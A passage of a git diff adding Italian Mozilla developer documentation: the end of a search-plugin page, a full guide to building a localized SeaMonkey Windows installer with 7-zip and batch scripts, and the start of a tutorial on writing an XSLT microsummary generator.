+ <li>Assicurarsi per l'XML sia ben formato. E' possibile eseguire questo controllo caricando il file direttamente in Firefox. Le "e commerciali" nell'URL del template devono essere sostituite con &amp;amp; e i tag devono essere chiusi con un / finale o con un tag di chiusura.</li>
+ <li>L'attributo <code>xmlns</code> è importante: senza di esso potrebbe apparire un messaggio di errore che dice: "Bon Echo could not download the plugin from (URL)" (o la sua traduzione in italiano).</li>
+</ul>
+
+<p>Inoltre, servizio di plugin di ricerca fornisce un meccanismo di log che potrebbe tornare utile agli sviluppatori di plugin. Si utilizzi<em>about:config</em> per impostare la preferenza '<code>browser.search.log</code>' a <code>true</code>. Quando si aggiunge un plugin di ricerca, appariranno le informazioni loggate nella Console degli errori (Tools-&gt;Error Console).</p>
+
+<h2 id="OpenSearch" name="OpenSearch">OpenSearch</h2>
+
+<p>Firefox 2 supporta anche il formato <a class="external" href="http://opensearch.a9.com/">OpenSearch</a> di Amazon A9 per condividere i risultari delle ricerche. Se si scrive un plugin XML utilizzando le specifiche che si trovano in <a class="external" href="http://opensearch.a9.com/spec/1.1/description/">OpenSearch description syntax</a>, può successivamente essere inserito nella directory searchengines.</p>
+
+<p>Il formato OpenSearch Description è simile al formato Mozilla SearchPlugin. Le differenze principali sono l'elemento radice e il namespace XML:</p>
+
+<pre>&lt;xml version="1.0"  encoding="UTF-8"?&gt;
+&lt;OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/"&gt;
+...
+&lt;/OpenSearchDescription&gt;
+</pre>
+
+<h2 id="Materiale_di_riferimento" name="Materiale_di_riferimento">Materiale di riferimento</h2>
+
+<ul>
+ <li>A9.com <a class="external" href="http://opensearch.a9.com/">OpenSearch Documentation</a></li>
+ <li>Su technorati.com: <a class="external" href="http://technorati.com/osd.xml">working osd.xml</a></li>
+ <li>Ulteriori informazioni sui problemi della ricerca automatica su Bugzilla [<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=340208">] </a></li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/Data:_URL">Data:</a> Schema degli URI</li>
+ <li><a class="external" href="http://www.edazzle.net/os/generate.aspx">OpenSearch Plugin Generator</a> - crea dei plugin OpenSearch per Firefox2. - <a class="external" href="http://www.edazzle.net/os/pluginlist.aspx">Lista dei plugin generati</a></li>
+</ul>
+
+<p>{{ languages( { "ca": "ca/Creaci\u00f3_de_connectors_MozSearch", "ja": "ja/Creating_MozSearch_plugins", "en": "en/Creating_MozSearch_plugins" } ) }}</p>
diff --git a/files/it/creare_un_installer_per_windows_di_seamonkey/index.html b/files/it/creare_un_installer_per_windows_di_seamonkey/index.html
new file mode 100644
index 0000000000..b1fc6c62bc
--- /dev/null
+++ b/files/it/creare_un_installer_per_windows_di_seamonkey/index.html
@@ -0,0 +1,171 @@
+---
+title: Creare un installer per Windows di SeaMonkey
+slug: Creare_un_installer_per_Windows_di_SeaMonkey
+tags:
+  - Localizzazione
+translation_of: Mozilla/Creating_a_localized_Windows_installer_of_SeaMonkey
+---
+<h3 id="Gli_attrezzi_del_mestiere" name="Gli_attrezzi_del_mestiere">Gli attrezzi del mestiere</h3>
+
+<p>Premessa: non tutti i programmi elencati sotto sono strettamente necessari. Alcuni semplicemente sono quelli che io uso perché mi ci trovo bene, mentre altri sono script che ho creato per velocizzare il lavoro. Potete in ogni caso scegliere il programma che vi piace di più per svolgere certe operazioni, come potete non sfruttare gli script e scrivere ogni volta i comandi a mano. La scelta è vostra!</p>
+
+<ul>
+ <li><a class="external" href="http://www.mozillaitalia.org/archive/index.php#p3">Installer di SeaMonkey</a> in italiano (la versione più recente disponibile)</li>
+ <li><a class="external" href="http://www.mozilla.org/projects/seamonkey/">Installer di SeaMonkey</a> in inglese (la versione di cui si vuole creare l'installer nuovo)</li>
+ <li><a class="external" href="http://www.mozillaitalia.org/archive/index.php#p3">Langpack italiano</a> applicabile all'installer inglese (deve essere la stessa versione, o almeno una compatibile)</li>
+ <li><a class="external" href="http://winmerge.sourceforge.net/">WinMerge</a> (per il confronto dei file vecchi e nuovi)</li>
+ <li><a class="external" href="http://www.7-zip.org/">7-zip</a> (gestisce tutti gli archivi e serve per la costruzione finale dell'installer)</li>
+ <li><a class="external" href="http://www.mozillaitalia.org/files/scripts.zip">Pacchetto</a> per la costruzione dell'installer (contiene dei file necessari per creare l'installer e gli script per l'automazione del processo)</li>
+ <li><a class="external" href="http://www.iacchi.org/extra/tools.zip">Script</a> per l'automazione completa della creazione dell'installer (contiene dei file necessari per creare l'installer)</li>
+</ul>
+
+<p>Per comodità, posizionate il file mozip.exe presente nel "Pacchetto" nella cartella di Windows, in modo da poterlo usare attraverso il prompt dei comandi senza dover inserire ogni volta il suo percorso.</p>
+
+<p>Prima di iniziare, un piccolo elenco di convenzioni usate nella guida:</p>
+
+<ul>
+ <li>{{ mediawiki.external('nv') }} - numero di versione di SeaMonkey</li>
+ <li>{{ mediawiki.external('path') }} - sostituisce l'indicazione di un percorso qualsiasi</li>
+ <li>Scriverò i nomi dei file in minuscolo per comodità, tuttavia i file che sono in maiuscolo dovrebbero rimanere tali</li>
+ <li>Per console intendo il prompt di DOS. In Windows 98/Me è accessibile dal menu Start; per le versioni successive basta digitare "cmd" nella finestra di Esegui</li>
+</ul>
+
+<h3 id="Primi_passi" name="Primi_passi">Primi passi</h3>
+
+<p>Per iniziare, bisogna creare le cartelle che dovranno ospitare i file. Personalmente (e questa scelta si ripercuote sui file batch) creo la cartella C:\sm che dovrà contenere tre cartelle: \{{ mediawiki.external('nv') }}eng che conterrà i file in inglese della versione da tradurre; \{{ mediawiki.external('nv') }}ita che conterrà i file in italiano dell'ultima versione disponibile e \{{ mediawiki.external('nv') }} che conterrà i file in italiano della versione di cui vogliamo creare l'installer. Per creare quest'ultima cartella, inizialmente, bisognerà copiare la cartella con i file in inglese e rinominarla.</p>
+
+<p>Per riempire la cartella in inglese con i file necessari, bisogna mettere l'installer in inglese nella cartella {{ mediawiki.external('nv') }}eng, aprire una console e digitare:</p>
+
+<pre>mozip -x [nv]eng\seamonkey-[nv].en-US.win32.installer.exe</pre>
+
+<p>Una volta estratti i file, è possibile cancellare l'installer.<br>
+ Per scompattare l'installer italiano, è sufficiente mettere il file nella relativa cartella, fare clic col tasto destro e dalle opzioni di 7-zip selezionare Estrai qui.</p>
+
+<h3 id="Tradurre_i_file_di_testo" name="Tradurre_i_file_di_testo">Tradurre i file di testo</h3>
+
+<p>Iniziamo col tradurre i due file di testo presenti tra i file estratti: install.ini e config.ini</p>
+
+<p>Il primo è la traduzione dell'interfaccia dell'installer e quindi, dato che per ora questo resta uguale nel tempo, al 99.99% non dovrete fare altro che copiare il vecchio file in italiano. Ad ogni modo, per andare sul sicuro, controllate che almeno il numero di righe corrisponda.</p>
+
+<p>Il secondo file invece contiene la configurazione dell'installer per quella particolare versione di SeaMonkey, ed è un po' più delicato da tradurre. Aprite WinMerge e mettete a confronto il vecchio file in italiano e il nuovo file in inglese: il programma evidenzierà automaticamente tutte le righe diverse.<br>
+ Non tutte le stringhe però andranno tradotte: dovrete concentrarvi solamente su quelle che riportano nella riga precedente la scritta "localize me". Noterete che alcune stringhe non sono state tradotte, nonostante sopra venga riportata la dicitura per localizzarle: non è una dimenticanza, ma se si traducono quelle stringhe l'installer non funzionerà. Oltre a queste, dovrete cambiare tutti i riferimenti di en-US e US rispettivamente in it-IT e IT; sicuramente saprete riconoscerli quando li vedrete. WinMerge vi viene in aiuto in questo compito: basta selezionare il testo in italiano in una delle semi-finestre ed incollarlo nell'altra, al posto del testo inglese.</p>
+
+<p><strong>ATTENZIONE:</strong> alla riga 191, che fa parte di quelle da tradurre, c'è l'indicazione del numero di versione esatto della build che state costruendo. Fate attenzione, nel copia-incolla, a non sovrascrivere il numero.</p>
+
+<p>Dopo aver modificato correttamente i file di testo, possiamo passare ai vari componenti del programma, rappresentati dai vari file xpi. Per il lavoro che dobbiamo fare, questi file possono essere uniti in piccoli gruppi e per ogni gruppo andrà effettuata una serie di operazioni uguali per tutti. Perciò, invece di trattare ogni pacchetto singolarmente, descriverò le azioni da compiere per ogni gruppo.</p>
+
+<h3 id="Il_file_langenus.xpi" name="Il_file_langenus.xpi">Il file langenus.xpi</h3>
+
+<p>Prima di tutto bisogna scompattare il file: nel menu contestuale tra le opzioni di 7-zip selezionate Estrai in "{{ mediawiki.external('path') }}", che creerà una cartella di nome langenus.</p>
+
+<p>Modificate l'install.js nella sezione indicata "Localize me" ed inserite i codici italiani it-IT dove richiesto. Potete utilizzare il file della vecchia versione italiana e WinMerge per vedere rapidamente cosa modificare.</p>
+
+<p>Scorrere il file fino in fondo, dove vengono registrati i locale chrome del langpack: tipicamente nelle versioni in inglese i locale chrome di Inspector, della guida e di quant'altro l'installer contenga di opzionale, sono contenuti nei relativi pacchetti. Le traduzioni italiane invece sono contenute tutte nel jar principale, quindi dovremo aggiungere le registrazioni necessarie qui. Anche in questo caso, quasi sicuramente sarà sufficiente copiare le stringhe in più dal vecchio file italiano in quello nuovo ancora in inglese con WinMerge.<br>
+ Completate quindi con la sostituzione dei file jar contenuti nella cartella bin/chrome (in questo caso i file en-*.jar vanno sostituiti con i gli equivalenti it-*.jar).</p>
+
+<p>Al termine di tutto riportatevi nella cartella contenente l'install.js e selezionate detto file assieme alla cartella bin, quindi dal menu contestuale selezionate "Aggiungi all'archivio..." e nella finestra che vi appare selezionate Zip come formato dell'archivio e Nessuna come livello di compressione. Se volete velocizzare il lavoro, nel campo archivio inserite "../langitit.xpi" che provvederà a creare il file xpi in italiano direttamente nella cartella principale, altrimenti dovrete spostare il nuovo file a mano in \{{ mediawiki.external('nv') }}.</p>
+
+<div style="margin-left: 40px;">
+<p><strong>ATTENZIONE:</strong> quando si creano gli xpi e i jar contenuti nell'installer, il livello di compressione va assolutamente impostato su Nessuna, per due motivi:</p>
+
+<ol>
+ <li>per non rallentare l'esecuzione dell'installer prima, e l'avvio dell'applicazione installata dopo.</li>
+ <li>perché le dimensioni dell'installer saranno molto più ridotte se non sono stati compressi.</li>
+</ol>
+</div>
+
+<p>Una volta fatto tutto, cancellate il file langenus.xpi e la relativa cartella dalla cartella principale.</p>
+
+<h3 id="Il_file_regus.xpi" name="Il_file_regus.xpi">Il file regus.xpi</h3>
+
+<p>Anche in questo caso, come in tutti quelli successivi, create la cartella relativa. Successivamente, modificate il file install.js nelle stringhe che si trovano sotto LOCALIZATION NOTE; anche in questo caso WinMerge vi sarà d'aiuto. Nella cartella bin/chrome sostituite US.jar con IT.jar preso dal langpack italiano. Aggiungete i searchplugins del langpack italiano in bin/searchplugins e sostituite i file in bin/defaults con gli equivalenti presi sempre dal langpack, rinominando la cartella US in IT. Tornate nella cartella che contiene bin ed install.js e create il file xpi chiamandolo regit.xpi. Ricordatevi poi di cancellare il file regus.xpi e la sua cartella.</p>
+
+<h3 id="Il_file_deflenus.xpi" name="Il_file_deflenus.xpi">Il file deflenus.xpi</h3>
+
+<p>Modificate il file install.js nelle stringhe che si trovano sotto LOCALIZATION NOTE e sostituite i file in bin/defaults con gli equivalenti presi dal langpack italiano. Tornate nella cartella padre che contiene bin ed install.js e create l'archivio xpi chiamandolo deflitit.xpi. Ancora, ricordatevi di cancellare il file deflenus e la cartella relativa.</p>
+
+<h3 id="Il_primo_gruppo_di_file" name="Il_primo_gruppo_di_file">Il primo gruppo di file</h3>
+
+<p>La procedura che spiegherò ora si applica ai file <em>venkman</em>, <em>chatzilla</em>, <em>inspector</em>, <em>sroaming</em>, <em>reporter</em>.</p>
+
+<p>Come già detto in precedenza, mentre nel langpack inglese la traduzione dei componenti opzionali si trova nei pacchetti dei programmi stessi, nel caso della lingua italiana tutte le traduzioni si trovano nel jar principale. L'operazione da compiere ora è quindi quella di eliminare le traduzioni dai singoli pacchetti.</p>
+
+<p>Nel file install.js dovete eliminare la registrazione del locale. Per fare questo basta commentare la riga relativa (aggiungendo // all'inizio) oppure cancellarla. Per esempio, nel pacchetto venkman:</p>
+
+<pre>// registerChrome(LOCALE | DELAYED_CHROME, getFolder("Chrome","venkman.jar"), "locale/en-US/venkman/");</pre>
+
+<p>Nella cartella bin/chrome invece bisogna aprire il file jar con 7-zip ed eliminare la cartella locale. Una volta fatto questo dovrete ricreare lo xpi.</p>
+
+<p><strong>ATTENZIONE:</strong> mentre prima si cambiavano i nomi ai file, ora il nome del file xpi prima e dopo le operazioni resta lo stesso. Quando perciò avete creato lo xpi e tornate nella cartella principale, ricordatevi di cancellare solamente la cartella relativa al file e non anche il file xpi stesso, altrimenti cancellerete il vostro lavoro. Questo ovviamente vale solamente se in 7-zip avete sfruttato il trucchetto di digitare "../pacchetto.xpi" come nome del file, e resta valido di qui fino alla fine.</p>
+
+<h3 id="Il_secondo_gruppo_di_file" name="Il_secondo_gruppo_di_file">Il secondo gruppo di file</h3>
+
+<p>La procedura che spiegherò ora si applica ai file <em>browser</em>, <em>mail</em>, <em>xpcom</em>, <em>spellcheck</em>, <em>talkback</em> e al file zip <em>seamonkeyuninstall</em>.</p>
+
+<p>Questi file non vengono toccati dalla traduzione, perciò non c'è da modificare niente. Tuttavia, per diminuire le dimensioni finali dell'installer, andranno scompattati e poi risalvati, questa volta però senza compressione. Vi dovrete perciò limitare a scompattare il pacchetto in una cartella, selezionare tutti i file presenti, e ricreare il file xpi (o zip a seconda dei casi) senza compressione.</p>
+
+<h3 id="Il_file_gre-win32-installer.zip" name="Il_file_gre-win32-installer.zip">Il file gre-win32-installer.zip</h3>
+
+<p>Questo pacchetto contiene l'installer di GRE (Gecko Runtime Environment) e si comporta proprio come un installer a sé stante. Dopo aver creato la cartella di questo pacchetto, quindi, dovrete di nuovo lanciare il comando "mozip -x" per estrarne i file contenuti, dopodiché potete anche cancellare l'installer. A partire da SeaMonkey 1.0.2 l'installer italiano viene creato con la procedura descritta sotto, perciò per scompattare quello italiano per il confronto tra i file basterà usare il menu contestuale e selezionare l'opzione di estrazione di 7-zip.</p>
+
+<p>Come per l'installer di SeaMonkey, dovete tradurre i due file install.ini e config.ini, per i quali valgono le stesse considerazioni dette all'inizio di questa guida. Allo stesso modo, dovrete scompattare tutti i file zip e xpi e ricompattarli senza compressione.</p>
+
+<p>A questo punto, dobbiamo creare l'installer di GRE. Se volete fare in fretta e non darvi troppa pena vi basterà usare lo script grebuild.bat che ho creato, una volta modificati i percorsi delle cartelle per adattarli al vostro caso (i file bat si aprono con un semplice editor di testi). Ci sono solo pochi passaggi da fare a mano: copiare nella cartella i file app.tag e 7zSD.sfx, poi aprire il primo con un editor di testi e nel campo "Title" inserire "GRE".</p>
+
+<p>Se invece siete masochisti e volete fare tutto a mano, qui di seguito spiego i passaggi da effettuare: per creare l'installer dovete prima di tutto riunire tutti i suoi file in un unico archivio. Aprite quindi una console, spostatevi nella cartella che contiene i file dell'installer di GRE e digitate:</p>
+
+<pre>[path]\7z a app.7z -t7z *.* -mx0</pre>
+
+<p>In questo modo si creerà il file app.7z che contiene tutti i file che erano presenti nella cartella, e che ora potete eliminare. A questo punto copiate nella cartella anche i file app.tag e 7zSD.sfx; editate il file app.tag come già descritto sopra, poi lanciate questo comando:</p>
+
+<pre>copy /b 7zSD.sfx+app.tag+app.7z gre-win32-installer.exe</pre>
+
+<p>Ora che avete creato nuovamente l'installer, cancellate tutti gli altri file presenti.</p>
+
+<p>Qualunque strada abbiate scelto, a questo punto dovreste avere nella cartella solamente il file che contiene l'installer. Ora non vi resta che rimetterlo nel suo file zip come per tutti gli altri pacchetti e poi proseguire.</p>
+
+<h3 id="E_ora.2C_creiamo_l.27installer.21" name="E_ora.2C_creiamo_l.27installer.21">E ora, creiamo l'installer!</h3>
+
+<p>Una volta finito di impacchettare l'installer di GRE, abbiamo finito i file da modificare, e possiamo passare alla creazione dell'installer di SeaMonkey.<br>
+ Anche in questo caso, potete decidere se usare il mio script o se eseguire tutto a mano. In entrambi i casi, la prima (e ultima per chi usa lo script) cosa da fare è mettere nella cartella C:\sm i file app.tag e 7zSD.sfx e modificare il primo inserendo nel campo Title la stringa "SeaMonkey {{ mediawiki.external('nv') }}".<br>
+ A questo punto potete lanciare lo script smbuild e aspettare che venga creato l'installer (sempre dopo aver modificato i nomi delle cartelle), oppure aprire una console e digitare, dopo esservi spostati nella cartella \{{ mediawiki.external('nv') }}, il seguente comando:</p>
+
+<pre>[path]\7z a -t7z ..\app.7z *.* -mx -m0=BCJ2 -m1=LZMA:d24 -m2=LZMA:d19 -m3=LZMA:d19 -mb0:1 -mb0s1:2 -mb0s2:3</pre>
+
+<p>Una volta terminata la compressione, risalire nella cartella superiore e digitare:</p>
+
+<pre>copy /b 7zSD.sfx+app.tag+app.7z mozilla-[nv].it-IT.win32.installer.exe</pre>
+
+<p>et voilà, il vostro installer è pronto!</p>
+
+<h3 id="Tips.2C_tricks_&amp;_script" name="Tips.2C_tricks_&amp;_script">Tips, tricks &amp; script</h3>
+
+<p>In questo paragrafo spiegherò le funzioni di tutti gli script che non ho citato finora, e tenterò di dare qualche consiglio dettato dall'esperienza.</p>
+
+<ul>
+ <li>gremozip.bat: questo script serve per effettuare il comando mozip per estrarre i file dall'installer di GRE in inglese. Non so voi, ma per me è una palla dover tutte le volte inserire i nomi delle cartelle e dei file per eseguire i comandi, anche perché di solito i nomi sono lunghissimi. Con questo script invece l'unica cosa che dovrete fare è quella di mettere il giusto percorso al file, che corrisponde ad un semplice copia-incolla su Windows, cosa che invece non è possibile fare in DOS.</li>
+ <li>smmozip.bat: lo stesso del precedente, però serve per estrarre i file dell'installer in inglese all'inizio.</li>
+ <li>Quando potete, usate sempre programmi come WinMerge per modificare i file: vi aiuteranno a non sbagliare, e inoltre potrete fare un copia-incolla tra il file italiano e quello inglese direttamente dalla stessa finestra, in più il programma ha la cortesia di lasciare spazi bianchi quando un file contiene righe in più rispetto ad un altro, perciò sarà facile anche trovare il punto dove incollare il testo.</li>
+ <li>Tenete sempre aperte sia la cartella del vecchio installer in italiano, sia quella del nuovo a cui state lavorando. Spacchettate sempre i file di entrambe le cartelle, in alcuni casi vi basterà fare un copia-incolla dei file da una cartella all'altra e il gioco è fatto. Inoltre, quando avete finito di lavorare ad un pacchetto, eliminate il corrispettivo del vecchio installer italiano: quando non ci saranno più file da cancellare, avrete finito. Inoltre aiuta a ricordarsi quali file sono già stati fatti.</li>
+</ul>
+
+<h3 id="Automatizzare_le_operazioni" name="Automatizzare_le_operazioni">Automatizzare le operazioni</h3>
+
+<p>La guida spiega tutti i passaggi da eseguire per creare un installer in italiano di SeaMonkey. Sebbene l'esecuzione di questi passaggi renda consapevoli di ciò che si sta facendo, lo svolgimento delle operazioni richede molto tempo.</p>
+
+<p>Una volta capiti i passaggi necessari, è possibile utilizzare degli script per velocizzare il processo di creazione dell'installer. Gli script necessari possono essere scaricati dalla lista del materiale all'inizio di questa pagina. Per farli funzionare, basta configurare correttamente il file config.bat (maggiori informazioni sono contenute all'interno del pacchetto).<br>
+ Gli script si basano su questa guida, e assumono che la cartella dove si lavora sia C:\sm e che la sotto-cartella degli script sia \tools.</p>
+
+<p>Una volta lanciato, lo script si fermerà solamente per permettere all'utente di tradurre i file .ini e .js necessari, aprendoli con WinMerge. Per questi file, valgono le stesse considerazioni fatte sopra: alcuni vanno semplicemente copiati, per altri bisogna fare attenzione.</p>
+
+<h3 id="Ringraziamenti" name="Ringraziamenti">Ringraziamenti</h3>
+
+<p>Michele Dal Corso: per aver scritto la prima versione testuale della guida.</p>
+
+<p>Giacomo Magnini: per aver scritto la prima guida per Mozilla Suite e per avermi aiutato a risolvere tutti i problemi che ho incontrato inizialmente durante la costruzione degli installer. Ah! Ovviamente anche per aver spulciato questa seconda guida alla ricerca di errori.</p>
+
+<p>Francesco Lodolo: per aver controllato la prima guida di Giacomo, e di conseguenza indirettamente anche questa.</p>
+
+<p>Fabio Baroni: per aver effettuato il controllo finale della guida di Francesco Lodolo.</p>
+
+<p>Domenico Zanella: per aver creato gli script per l'automazione del processo di creazione dell'installer.</p>
diff --git a/files/it/creare_un_microsommario/index.html b/files/it/creare_un_microsommario/index.html
new file mode 100644
index 0000000000..4d4e37cc46
--- /dev/null
+++ b/files/it/creare_un_microsommario/index.html
@@ -0,0 +1,209 @@
+---
+title: Creare un Microsommario
+slug: Creare_un_Microsommario
+translation_of: Archive/Mozilla/Creating_a_microsummary
+---
+<p>
+	Un generatore di microsommari è un insieme di istruzioni per creare un microsommario a partire dal contenuto di un documento. Le pagine possono essere collegate ai generatori tramite <code>&lt;link rel="microsummary"&gt;</code>, che va inserito nell'elemento <code>&lt;head&gt;</code>. I generatori possono anche essere scaricati in maniera indipendente e installati dagli utenti, se questi scrivono una lista di pagine alla quale i generatori devono essere associati.</p>
+<p>
+	In questo articolo creeremo un generatore di microsommario per la <a class="external" href="http://www.spreadfirefox.com/">home page di SpreadFirefox</a> che mostra il numero di download del browser con l'etichetta <cite>Fx downloads</cite>; per esempio: <cite>174475447 Fx downloads</cite>.</p>
+<p>
+	Costruiremo poi il foglio stile <a href="it/XSLT">XSLT</a> che converte la pagina in un microsommario e impareremo a specificare che il generatore si applica proprio a quella pagina; infine impareremo a preparare il generatore per il download e l'installazione.</p>
+<p>
+	In ogni passo della creazione del foglio stile, ciò che viene aggiunto rispetto all'esempio precedente è in <b>grassetto</b> per facilitarne l'identificazione.</p>
+<h2 id="Iniziare" name="Iniziare">
+	Iniziare</h2>
+<p>
+	I generatori si presentano come documenti <a href="it/XML">XML</a>, la cui radice è l'elemento <code>&lt;generator&gt;</code> e il namespace è <cite><a class="external" href="http://www.mozilla.org/microsummaries/0.1" rel="freelink">http://www.mozilla.org/microsummaries/0.1</a></cite>. Per iniziare a costruire il generatore, creiamo un nuovo file di testo vuoto, poi inseriamo la dichiarazione XML e l'elemento radice:</p>
+<pre class="eval"><b>&lt;?xml version="1.0" encoding="UTF-8"?&gt;</b>
+<b>&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"&gt;</b>
+<b>&lt;/generator&gt;</b>
+</pre>
+<h2 id="Il_nome" name="Il_nome">
+	Il nome</h2>
+<p>
+	Ogni generatore dovrebbe essere dotato di attributi <code>name</code>, che forniscono descrizioni arbitrarie dei microsommari. I nomi dovrebbero essere abbastanza descrittivi da dare all'utente un'idea di quali informazioni vengono fornite dal microsommario. Siccome il nostro generatore creerà dei microsommari che mostrano il conteggio dei download di Firefox, lo chiameremo "Download di Firefox":</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           <b>name="Download di Firefox"</b>&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="Creare_un_foglio_stile_XSLT" name="Creare_un_foglio_stile_XSLT">
+	Creare un foglio stile XSLT</h2>
+<p>
+	I generatori devono includere un foglio stile XSLT (o trasformazione XSLT), che trasforma il contenuto della pagina in un microsommario. XSLT è un potente linguaggio per trasformare i documenti in rappresentazioni diverse delle stesse informazioni.</p>
+<p>
+	Aggiungiamo quindi il foglio stile includendolo in un elemento <code>&lt;template&gt;</code>:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Download di Firefox"&gt;
+  <b>&lt;template&gt;</b>
+    <b>&lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;</b>
+    <b>&lt;/transform&gt;</b>
+  <b>&lt;/template&gt;</b>
+&lt;/generator&gt;
+</pre>
+<p>
+	Si noti che, mentre i generatori di microsommari includono del codice XSLT arbitrario, compreso codice che produca un output formattato, Firefox attualmente visualizza soltanto una versione di puro testo dell'output XSLT.</p>
+<h2 id="Specificare_il_tipo_di_output" name="Specificare_il_tipo_di_output">
+	Specificare il tipo di output</h2>
+<p>
+	Siccome il foglio stile genera un sommario testuale, dovremmo indicarlo nell'elemento <code>&lt;output&gt;</code>:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Download di Firefox"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      <b>&lt;output method="text"/&gt;</b>
+    &lt;/transform&gt;
+  &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="Utilizzare_un_semplice_.3Ctemplate.3E" name="Utilizzare_un_semplice_.3Ctemplate.3E">
+	Utilizzare un semplice <code>&lt;template&gt;</code></h2>
+<p>
+	L'elaboratore XSLT trasforma i documenti comparando ogni elemento <code>&lt;template&gt;</code> presente nel foglio stile con un insieme di nodi del documento. Quando trova un attributo <code>match</code>, dell'elemento <code>&lt;template&gt;</code>, l'elaboratore esegue le trasformazioni specificate nel contenuto dell'elemento stesso.</p>
+<p>
+	Questo è un meccanismo potente, perchè permette di attraversare l'albero di un documento, generando ricorsivamente un output basato sui contenuti. Ma, per gli scopi di un microsommario per la pagina di Spread Firefox, necessitiamo di un solo <code>&lt;template&gt;</code> che corrisponde al nodo radice del documento e che viene processato una volta sola:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Download di Firefox"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      <b>&lt;template match="/"&gt;</b>
+      <b>&lt;/template&gt;</b>
+    &lt;/transform&gt;
+  &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="Inserire_il_conteggio_dei_download" name="Inserire_il_conteggio_dei_download">
+	Inserire il conteggio dei download</h2>
+<p>
+	Per inserire il conteggio dei download nell'output del foglio stile, occorre aggiungere un elemento <code>&lt;value-of&gt;</code> al template il cui attributo <code>select</code> contiene un'espressione <a href="it/XPath">XPath</a> che punta al nodo che contiene il numero da visualizzare.</p>
+<p>
+	XPath è un linguaggio che serve a identificare i nodi nei documenti HTML o XML. Contiene anche alcuni funzioni basilari per la manipolazione dei nodi e del loro contenuto. Il modo più semplice per ottenere una espressione XPath che punti al nodo desiderato è utilizzare l'estensione <a class="link-https" href="https://addons.mozilla.org/firefox/1095/">XPath Checker</a>.</p>
+<p>
+	Quindi installiamo l'estensione e riavviamo Firefox quando l'installazione è completa. Andiamo quindi alla home page di Spread Firefox, troviamo il conteggio dei download (un numero grande nella colonna di destra), clicchiamo col tasto detro del mouse su tale informazione e selezioniamo <cite>View XPath</cite> nel menù a comparsa.</p>
+<p>
+	XPath Checker aprirà una nuova finestra. La nuova finestra contiene un campo <cite>XPath</cite> che contiene l'espressione XPath desiderata, che punta al numero di download: <cite>id('download-count')</cite>.</p>
+<p>
+	Aggiungiamo un elemento <code>&lt;value-of&gt;</code> dentro <code>&lt;template&gt;</code>, con un attributo <code>select</code> che contiene detta espressione XPath:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Download di Firefox"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      &lt;template match="/"&gt;
+        <b>&lt;value-of select="id('download-count')"/&gt;</b>
+      &lt;/template&gt;
+    &lt;/transform&gt;
+  &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="Inserire_del_testo" name="Inserire_del_testo">
+	Inserire del testo</h2>
+<p>
+	Per inserire l'etichetta <cite>Fx downloads</cite> nel microsommario, occorre aggiungere un elemento <code>&lt;text&gt;</code> in <code>&lt;template&gt;</code>, il cui contenuto sarà il testo che si desidera inserire.</p>
+<p>
+	Aggiungiamo quindi un elemento <code>&lt;text&gt;</code>, il cui contenuto è <cite>Fx downloads</cite>:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Download di Firefox"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      &lt;template match="/"&gt;
+        &lt;value-of select="id('download-count')"/&gt;
+        <b>&lt;text&gt; download&lt;/text&gt;</b>
+      &lt;/template&gt;
+    &lt;/transform&gt;
+  &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<p>
+	Si noti che lo spazio bianco tra i tag XSLT non viene incluso nell'output, diversamente da quanto accade in HTML, dove invece tutti gli spazi vengono riuniti in un singolo spazio, quindi facciamo attenzione a inserire uno spazio prima della frase "download" per separarla dal numero.</p>
+<p>
+	Con questo, abbiamo terminato di scrivere il foglio stile XSLT che converte la pagina principale di Spread Firefox in un microsommario.</p>
+<h2 id="Specificare_a_quale_pagina_di_riferisce_il_generatore" name="Specificare_a_quale_pagina_di_riferisce_il_generatore">
+	Specificare a quale pagina di riferisce il generatore</h2>
+<p>
+	Ora che abbiamo terminato il foglio stile, dobbiamo specificare a quale pagina si applica. Se fossimo i webmaster di Spread Firefox, sarebbe sufficiente inserire un riferimento al generatore nella pagina stessa aggiungendo un tag <code>&lt;link rel="microsummary"&gt;</code> nella sezione <code>&lt;head&gt;</code> del documento:</p>
+<pre class="eval">&lt;head&gt;
+  ...
+  <b>&lt;link rel="microsummary" href="path/to/our/generator.xml"&gt;</b>
+&lt;/head&gt;
+</pre>
+<p>
